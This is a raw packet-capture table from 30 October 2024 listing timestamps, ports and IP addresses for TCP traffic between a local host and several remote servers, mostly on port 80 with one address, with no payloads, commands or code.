Oct 30, 2024 23:11:51.085622072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085652113 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085731983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085772991 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085835934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085885048 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.086463928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.086477041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.086488008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.086538076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.086585999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.086597919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.086611986 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.086622000 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.086654902 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.173659086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.173722029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.173772097 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.173773050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.173783064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.173819065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.176872015 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.177251101 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.177264929 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.177597046 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.178092957 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.178153992 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.178280115 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.193980932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194031954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194083929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194128036 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194133997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194147110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194176912 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194202900 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194253922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194267035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194293976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194416046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194458008 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194483042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194494963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194526911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.194749117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194838047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.194911957 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.195512056 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.196086884 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.196106911 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.196871996 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.196877956 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.196937084 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.196945906 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.203241110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203283072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203294039 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203310013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.203339100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.203463078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203528881 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203540087 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203576088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203576088 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.203650951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.203892946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203928947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203939915 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.203984976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.204014063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.204077959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.204402924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.204457998 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.204467058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.204478025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.204510927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.204551935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.204561949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.204591036 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.205060959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.205122948 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.205140114 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.205152035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.205169916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.205180883 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.205193043 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.205207109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.223331928 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.292680025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.292695999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.292707920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.292736053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.292766094 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312145948 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312191010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312203884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312237024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312237024 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312274933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312319040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312330008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312340975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312362909 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312402010 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312757969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312812090 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312822104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312834024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312856913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312872887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.312939882 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.312978029 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.314179897 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.314202070 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.314264059 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.314264059 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.314308882 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.315278053 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.315296888 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.321185112 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.321211100 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.321276903 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.321341038 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321387053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321408033 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.321429014 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.321453094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321465015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321500063 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.321592093 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.321608067 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.321619034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321687937 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.321716070 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321772099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321780920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321811914 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.321894884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321969032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.321979046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322021961 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.322307110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322319031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322334051 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322355032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.322371006 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.322480917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322494030 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322524071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.322889090 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322938919 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.322983980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.322999954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323013067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323030949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.323043108 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.323390007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323417902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323440075 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.323460102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.323489904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323502064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323528051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.323623896 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.323697090 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.324114084 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.324573994 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.324582100 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.325032949 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.325037003 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.410983086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.411030054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.411041975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.411096096 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.411134958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.430525064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430550098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430560112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430592060 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.430624008 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.430656910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430670977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430702925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.430800915 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430813074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.430864096 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.431041002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.431116104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.431261063 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.439737082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.439786911 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.439799070 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.439800024 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.439832926 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.439877987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.439889908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.439915895 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.439949036 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.439984083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.439995050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440023899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.440037966 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.440270901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440320969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440332890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440378904 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.440552950 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440587997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440598965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440599918 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.440637112 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.440669060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.440704107 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.440957069 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441009045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441009998 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.441021919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441060066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.441170931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441181898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441193104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441205025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441215038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.441243887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.441354036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441400051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.441859961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441884041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.441915035 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.441945076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.444645882 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.445535898 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.445554018 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.446216106 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.446222067 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.446300983 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.446315050 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.456964970 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.456990004 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.457048893 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.457062006 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.457087994 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.457143068 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.457243919 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.457254887 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.457262993 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.457268000 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.459641933 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.459661961 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.459743977 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.459855080 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.459865093 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.481746912 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.481761932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.481808901 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.529248953 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.529293060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.529304981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.529314041 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.529344082 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.549663067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549711943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549726009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549735069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.549776077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.549851894 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549865961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549879074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549891949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.549897909 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.549930096 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.549974918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.553121090 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.557878017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.557898998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.557910919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.557936907 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.557954073 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558229923 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558274031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558286905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558339119 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558351040 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558410883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558423042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558434010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558445930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558470011 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558511972 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558540106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558717966 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558931112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558955908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.558975935 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.558994055 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.559077024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559112072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.559133053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559144020 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559155941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559175014 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.559201956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.559293985 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559305906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559325933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559334993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559381008 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.559398890 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.559881926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559936047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559947968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.559998989 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.583791018 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.583843946 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.584556103 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.584573984 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.584749937 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.584765911 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.584774017 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.585120916 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.585210085 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.585263968 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.600030899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.600043058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.600054026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.600182056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.600182056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.611742020 CET	50009	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.611771107 CET	443	50009	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.612023115 CET	50009	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.612178087 CET	50009	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.612190008 CET	443	50009	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.647353888 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.647397995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.647408962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.647418022 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.647443056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.653980970 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.654376030 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.654388905 CET	443	50003	13.107.246.45	192.168.2.5
